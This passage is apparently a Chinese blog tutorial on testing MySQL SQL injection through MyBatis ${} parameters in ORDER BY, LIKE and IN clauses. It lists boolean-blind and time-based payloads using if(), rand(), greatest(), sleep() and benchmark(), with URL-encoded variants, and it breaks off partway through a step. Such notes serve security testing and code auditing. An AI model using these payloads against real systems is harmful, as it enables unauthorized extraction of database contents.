与SQL注入可以说的二三事

写在前面

数据库:mysql
语言:java
代码审计发现,mybatis默认使用预编译#传参,只有少部分语句无法直接使用#传参,会报错,所以开发容易忽视这些地方,直接使用默认的.$传参,这就是我们测试sql注入的重要关注点。

order by
like
in

注入点(Mysql)

Tip: http传参不能带空格,用+代替

比如注释符,mysql的注释符是--空格#,从前端输入sql语句用--+,实际上经过url解码,传入数据库时变成--空格

普通参数注入

盲注

盲注三种类型

  1. 基于时间的
  2. 基于布尔的
  3. 基于报错的

orderby排序

order by用在sql语句的最后,起一个排序的作用,不能直接用and 1=1来判断

可以用if语句、case whenrand

order by基本用盲注

布尔盲注

mysql> select * from admin order by if(1=1,username,password);

如果1=1成立,按照username排序,反之根据password排序
替换1=1可判断数据库名等操作

mysql> select * from admin order by if((substr((select user()),1,1)='r'),username,password);

不用if,用rand()
rand(0)和rand(1)

if((length(database())=5),rand(true),rand(false))

greatest(n1,n2…)返回最大的数,(其他函数见->大小于号绕过)

mysql> select * from user order by rand(greatest(ascii(substr(database(),1,1)),1)=103);
//判断数据库名第一位

延时注入

sleep()是mysql数据库特有,sleep()在where语句中会执行多次,所以查询时间会成倍增长

if(布尔盲注语句,sleep(5),1)

可用benchmark(2000000,md5(404))代替,执行md5(404)2000000次,大概3秒多

  1. 寻找注入点
?orderby=asc,if(now()=sysdate(),sleep(3),0)
//如果系统时间等于当前时间,则mysql查询休眠3秒,否则查询0

//另一种写法:
select * from test order by user_id,(select 1 from (select sleep(3))a)
?order=asc,if(1=2,1,(SELECT(1)FROM(SELECT(SLEEP(10)))test))

//空格用 + 或 /**/ 替代
(select+1+from+(select+sleep(3))a)
(select/**/1/**/from/**/(select/**/sleep(3))a)
  1. 猜数据库长度,数据库名
?orderby
  • 2
    点赞
  • 2
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值